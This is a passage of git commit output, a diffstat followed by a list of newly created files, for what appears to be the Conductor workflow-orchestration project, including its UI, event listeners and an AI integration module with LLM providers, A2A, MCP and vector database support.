.../errors/components/TimeSeriesChart.jsx | 144 + .../errors/components/WorkflowTypeChart.jsx | 123 + ui/src/pages/errors/errorsInspectorStyles.js | 414 + .../errors/hooks/useWorkflowErrorGroups.js | 220 + ui/src/pages/execution/ActionModule.jsx | 182 + ui/src/pages/execution/Execution.jsx | 322 + .../pages/execution/ExecutionInputOutput.jsx | 56 + ui/src/pages/execution/ExecutionJson.jsx | 28 + ui/src/pages/execution/ExecutionSummary.jsx | 63 + ui/src/pages/execution/Legend.jsx | 120 + ui/src/pages/execution/RightPanel.jsx | 237 + ui/src/pages/execution/TaskDetails.jsx | 116 + ui/src/pages/execution/TaskHuman.jsx | 42 + ui/src/pages/execution/TaskHumanForm.jsx | 108 + ui/src/pages/execution/TaskList.jsx | 43 + ui/src/pages/execution/TaskLogs.jsx | 26 + ui/src/pages/execution/TaskPollData.jsx | 49 + ui/src/pages/execution/TaskSummary.jsx | 134 + ui/src/pages/execution/Timeline.jsx | 130 + ui/src/pages/execution/Timeline.test.pw.tsx | 99 + ui/src/pages/execution/timeline.scss | 55 + ui/src/pages/executions/BulkActionModule.jsx | 207 + ui/src/pages/executions/ResultsTable.jsx | 172 + .../pages/executions/SchedulerExecutions.jsx | 283 + ui/src/pages/executions/SearchTabs.jsx | 11 + ui/src/pages/executions/TaskResultsTable.jsx | 221 + ui/src/pages/executions/TaskSearch.jsx | 248 + ui/src/pages/executions/WorkflowSearch.jsx | 223 + ui/src/pages/executions/executionsStyles.js | 23 + ui/src/pages/kitchensink/DataTableDemo.jsx | 18 + ui/src/pages/kitchensink/DiagramTest.jsx | 120 + ui/src/pages/kitchensink/Dropdown.jsx | 113 + ui/src/pages/kitchensink/EnhancedTable.jsx | 348 + ui/src/pages/kitchensink/Examples.jsx | 3 + ui/src/pages/kitchensink/Gantt.jsx | 85 + ui/src/pages/kitchensink/KitchenSink.jsx | 372 + ui/src/pages/kitchensink/sampleMovieData.js | 1773 + ui/src/pages/misc/TaskQueue.jsx | 115 + ui/src/pages/styles.js | 31 + ui/src/pages/workbench/ExecutionHistory.jsx | 91 + ui/src/pages/workbench/RunHistory.tsx | 165 + ui/src/pages/workbench/Workbench.jsx | 98 + ui/src/pages/workbench/WorkbenchForm.jsx | 247 + ui/src/plugins/AppBarModules.jsx | 3 + ui/src/plugins/AppLogo.jsx | 23 + ui/src/plugins/CustomAppBarButtons.jsx | 3 + ui/src/plugins/CustomRoutes.jsx | 3 + ui/src/plugins/constants.js | 0 ui/src/plugins/customTypeRenderers.jsx | 1 + ui/src/plugins/env.js | 6 + ui/src/plugins/fetch.js | 51 + ui/src/react-app-env.d.ts | 1 + ui/src/schema/eventHandler.js | 10 + ui/src/schema/scheduler.js | 15 + ui/src/schema/task.js | 20 + ui/src/schema/workflow.js | 302 + ui/src/serviceWorker.js | 141 + ui/src/setupProxy.js | 13 + ui/src/setupTests.js | 5 + ui/src/theme/colorOverrides.js | 41 + ui/src/theme/colors.js | 725 + ui/src/theme/index.js | 2 + ui/src/theme/provider.jsx | 12 + ui/src/theme/theme.js | 661 + ui/src/theme/variables.js | 63 + ui/src/utils/constants.js | 57 + ui/src/utils/helperFunctions.js | 68 + ui/src/utils/helpers.js | 147 + ui/src/utils/localstorage.ts | 34 + ui/src/utils/path.js | 17 + ui/test-karbon.sh | 0 ui/tsconfig.json | 20 + workflow-event-listener/README.md | 168 + workflow-event-listener/build.gradle | 42 + .../WorkflowStatusListenerFactory.java | 199 + ...rchivingWithTTLWorkflowStatusListener.java | 135 + ...rchivingWorkflowListenerConfiguration.java | 40 + .../ArchivingWorkflowListenerProperties.java | 122 + .../ArchivingWorkflowStatusListener.java | 52 + .../archive/ArchivingWorkflowToS3.java | 196 + .../CompositeWorkflowStatusListener.java | 176 + ...teWorkflowStatusListenerConfiguration.java | 136 + ...ositeWorkflowStatusListenerProperties.java | 37 + .../ConductorQueueStatusPublisher.java | 85 + ...ctorQueueStatusPublisherConfiguration.java | 39 + ...nductorQueueStatusPublisherProperties.java | 49 + .../kafka/KafkaWorkflowStatusPublisher.java | 157 + ...aWorkflowStatusPublisherConfiguration.java | 34 + ...afkaWorkflowStatusPublisherProperties.java | 110 + .../StatusChangeNotification.java | 99 + .../statuschange/StatusChangePublisher.java | 217 + .../StatusChangePublisherConfiguration.java | 51 + ...itional-spring-configuration-metadata.json | 160 + .../ArchivingWorkflowStatusListenerTest.java | 63 + .../CompositeWorkflowStatusListenerTest.java | 183 + .../StatusChangePublisherTest.java | 417 + ...orkflowStatusPublisherIntegrationTest.java | 254 + .../application-integrationtest.properties | 54 + 3727 files changed, 627706 insertions(+) create mode 100644 .claude/agents/docs-writer.md create mode 100644 .dockerignore create mode 100644 .gitattributes create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md create mode 100644 .github/ISSUE_TEMPLATE/bug_report.yml create mode 100644 .github/ISSUE_TEMPLATE/config.yml create mode 100644 .github/ISSUE_TEMPLATE/documentation.md create mode 100644 .github/ISSUE_TEMPLATE/documentation.yaml create mode 100644 .github/ISSUE_TEMPLATE/feature_request.md create mode 100644 .github/ISSUE_TEMPLATE/feature_request.yaml create mode 100644 .github/pull_request_template.md create mode 100644 .github/release-drafter.yml create mode 100644 .github/workflows/ci.yml create mode 100644 .github/workflows/debug-docker-credentials.yml create mode 100644 .github/workflows/deprecate-standalone.yml create mode 100644 .github/workflows/generate_gh_pages.yml create mode 100644 .github/workflows/publish-next.yaml create mode 100644 .github/workflows/publish.yml create mode 100644 .github/workflows/publish_build.yaml create mode 100644 .github/workflows/publish_s3.yaml create mode 100644 .github/workflows/release_draft.yml create mode 100644 .github/workflows/ui-next-ci.yml create mode 100644 .github/workflows/ui-next-integration-ci.yml create mode 100644 .gitignore create mode 100644 AGENTS.md create mode 100644 CHANGELOG.md create mode 100644 CLAUDE.md create mode 100644 CODE_OF_CONDUCT.md create mode 100644 CONTRIBUTING.md create mode 100644 LICENSE create mode 100644 OSSMETADATA create mode 100644 README.md create mode 100644 README.wehub.md create mode 100644 RELATED.md create mode 100644 ROADMAP.md create mode 100644 SECURITY.md create mode 100644 USERS.md create mode 100644 agentspan-server/build.gradle create mode 100644 agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/AgentSpanEmbeddedEnvironmentPostProcessor.java create mode 100644 agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/AgentSpanPrincipalFilter.java create mode 100644 agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/ConductorAgentSpanConfiguration.java create mode 100644 agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/EnvBackedCredentialStore.java create mode 100644 agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/SkillMetadataDaoAdapter.java create mode 100644 agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/SkillPackageStoreAdapter.java create mode 100644 agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeTaskStatusListener.java create mode 100644 agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeWorkflowStatusListener.java create mode 100644 agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanListenerCoexistenceConfiguration.java create mode 100644 agentspan-server/src/main/resources/META-INF/spring.factories create mode 100644 agentspan-server/src/test/java/org/conductoross/conductor/ai/agentspan/EnvBackedCredentialStoreTest.java create mode 100644 agentspan-server/src/test/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeWorkflowStatusListenerTest.java create mode 100644 ai/CONTRIBUTING.md create mode 100644 ai/JDBC_CONFIGURATION.md create mode 100644 ai/README.md create mode 100644 ai/VECTORDB_CONFIGURATION.md create mode 100644 ai/build.gradle create mode 100644 ai/examples/01-chat-completion.json create mode 100644 ai/examples/02-generate-embeddings.json create mode 100644 ai/examples/03-image-generation.json create mode 100644 ai/examples/04-audio-generation.json create mode 100644 ai/examples/05-semantic-search.json create mode 100644 ai/examples/06-rag-basic.json create mode 100644 ai/examples/07-rag-complete.json create mode 100644 ai/examples/08-mcp-list-tools.json create mode 100644 ai/examples/09-mcp-call-tool.json create mode 100644 ai/examples/10-a2a-call-agent.json create mode 100644 ai/examples/10-mcp-ai-agent.json create mode 100644 ai/examples/11-a2a-get-agent-card.json create mode 100644 ai/examples/11-video-openai-sora.json create mode 100644 ai/examples/12-a2a-server-workflow.json create mode 100644 ai/examples/12-video-gemini-veo.json create mode 100644 ai/examples/13-image-to-video-pipeline.json create mode 100644 ai/examples/14-stabilityai-image.json create mode 100644 ai/examples/15-pdf-generation.json create mode 100644 ai/examples/16-llm-to-pdf-pipeline.json create mode 100644 ai/examples/17-web-search.json create mode 100644 ai/examples/18-code-execution.json create mode 100644 ai/examples/19-coding-agent.json create mode 100644 ai/examples/20-extended-thinking.json create mode 100644 ai/examples/21-web-search-research-agent.json create mode 100644 ai/examples/22-multi-turn-chain.json create mode 100644 ai/examples/23-a2a-streaming.json create mode 100644 ai/examples/24-a2a-push.json create mode 100644 ai/examples/25-a2a-server-multi-turn.json create mode 100644 ai/examples/26-a2a-cancel.json create mode 100644 ai/examples/27-a2a-multi-agent.json create mode 100644 ai/examples/28-a2a-llm-pick-skill.json create mode 100644 ai/examples/29-a2a-client-multi-turn.json create mode 100644 ai/examples/30-rag-sqlite-vec.json create mode 100644 ai/examples/README.md create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/AIModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/AIModelProvider.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/LLMHelper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/LLMs.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/MimeExtensionResolver.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/ModelConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/A2ACallbackResource.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AException.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/A2ALogging.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AMetrics.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AResults.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AService.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/AgentTask.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/A2AMessage.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/A2ATask.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentCapabilities.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentCard.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentInterface.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentProvider.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentSkill.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/Artifact.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/Part.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/PushNotificationConfig.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/TaskState.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/model/TaskStatus.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerException.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerProperties.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerResource.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AStreamSink.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AWorkflowAgent.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/document/DocumentAccessDeniedException.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/document/DocumentAccessPolicy.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/document/DocumentLoader.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/document/FileSystemDocumentLoader.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/document/HttpDocumentLoader.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClientConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClientProperties.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClients.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/http/RetryInterceptor.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/mcp/JsonTextParser.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/mcp/MCPService.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/A2AAgentCardRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/A2ACallRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/A2ACancelRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/AudioGenRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/ChatCompletion.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/ChatMessage.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/EmbeddingGenRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/GetConversationHistoryRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/ImageGenRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/IndexDocInput.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/IndexedDoc.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/LLMResponse.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/LLMWorkerInput.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/MCPListToolsRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/MCPToolCallRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/MarkdownToPdfRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/Media.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/StoreEmbeddingsInput.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/TextCompletion.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/ToolCall.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/ToolSpec.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/VectorDBInput.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/model/VideoGenRequest.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/pdf/MarkdownToPdfConverter.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfDocumentRenderer.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfImageResolver.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfRenderContext.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/Anthropic.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatOptions.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/api/AnthropicMessagesApi.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAI.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAIConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/bedrock/Bedrock.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/bedrock/BedrockConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereAI.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereAIConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereChatModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereChatOptions.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereEmbeddingModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/api/CohereApi.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatOptions.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiGenAI.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertex.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVideoModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/api/GeminiApi.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/grok/Grok.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/grok/GrokAIConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFace.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/litellm/LiteLLM.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/litellm/LiteLLMConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/mistral/MistralAI.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/mistral/MistralAIConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/ollama/Ollama.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/ollama/OllamaConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAI.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAICompatChatModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIHttpImageModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatOptions.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIVideoModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIChatCompletionsApi.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIEmbeddingsApi.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIImageGenApi.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIResponsesApi.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAISpeechApi.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIVideoApi.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAI.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAIConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAI.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAIConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAiApi.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCConnectionConfig.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCInput.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCInstanceConfig.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCProvider.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCWorker.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AIModelTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AgentTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AudioGenerationTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/CallMCPToolTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ChatCompleteTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/GenEmbeddingsTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/GetEmbeddingsTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ImageGenerationTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/IndexTextTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ListMCPToolsTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/PdfGenerationTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/SearchIndexTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/StoreEmbeddingsTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/TextCompleteTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/VideoGenerationTaskMapper.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/A2AWorkers.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/DocumentGenWorkers.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/LLMWorkers.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/MCPWorkers.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/VectorDBWorkers.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDB.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBConfig.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBInstanceConfig.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBProvider.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBs.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/mongodb/MongoDBConfig.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/mongodb/MongoVectorDB.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/pinecone/PineconeConfig.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/pinecone/PineconeDB.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/postgres/PostgresConfig.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/postgres/PostgresVectorDB.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteConfig.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVecExtensions.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVectorDB.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVectorDBAutoConfiguration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/AsyncVideoModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/Video.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/VideoGeneration.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/VideoGenerationMetadata.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/VideoMessage.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/VideoModel.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/VideoOptions.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/VideoOptionsBuilder.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/VideoPrompt.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/VideoResponse.java create mode 100644 ai/src/main/java/org/conductoross/conductor/ai/video/VideoResponseMetadata.java create mode 100644 ai/src/main/java/org/conductoross/conductor/config/A2AServerEnabledCondition.java create mode 100644 ai/src/main/java/org/conductoross/conductor/config/AIIntegrationEnabledCondition.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/AIModelProviderTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/LLMHelperChatCompleteTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/LLMHelperTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/LLMsTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ACallbackResourceTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ADurabilityTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AEndToEndTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AObservabilityTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ARealAgentIntegrationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ASdkInteropTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AServiceTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/AgentTaskTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/EmbeddedA2AAgent.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2ALoopbackTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2AServerResourceTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2AWorkflowAgentTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/document/DocumentAccessPolicyTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/examples/ExampleWorkflowValidationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/http/RetryInterceptorTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/integration/AIModelIntegrationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/mapper/AIModelTaskMapperPreviousResponseIdTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/mapper/AgentTaskMapperTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/mapper/GenEmbeddingsTaskMapperTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/mapper/GetEmbeddingsTaskMapperTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/mapper/IndexTextTaskMapperTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/mapper/PdfGenerationTaskMapperTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/mapper/SearchIndexTaskMapperTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/mapper/StoreEmbeddingsTaskMapperTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/mapper/TextCompleteTaskMapperTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/mcp/JsonTextParserTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/models/ToolSpecTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/pdf/DocumentGenWorkersTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/pdf/MarkdownToPdfConverterTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/pdf/PdfImageResolverTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/pdf/PdfRenderContextTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicAdaptiveThinkingTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModelMediaTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModelReasoningTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAIConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAITest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/bedrock/BedrockConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/bedrock/BedrockTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereAIConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereAITest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereChatModelMediaTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiApiTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModelMediaTest.java create mode 100644 